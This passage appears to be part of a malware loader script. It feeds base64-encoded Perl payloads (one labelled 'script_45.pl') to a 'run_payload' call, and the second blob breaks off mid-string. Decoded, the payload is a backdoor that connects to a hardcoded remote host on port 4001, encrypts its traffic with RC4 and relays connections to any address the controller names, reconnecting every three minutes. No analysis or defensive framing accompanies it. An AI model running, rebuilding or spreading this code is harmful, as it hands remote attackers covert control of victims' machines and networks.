IDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_45.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg3JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNp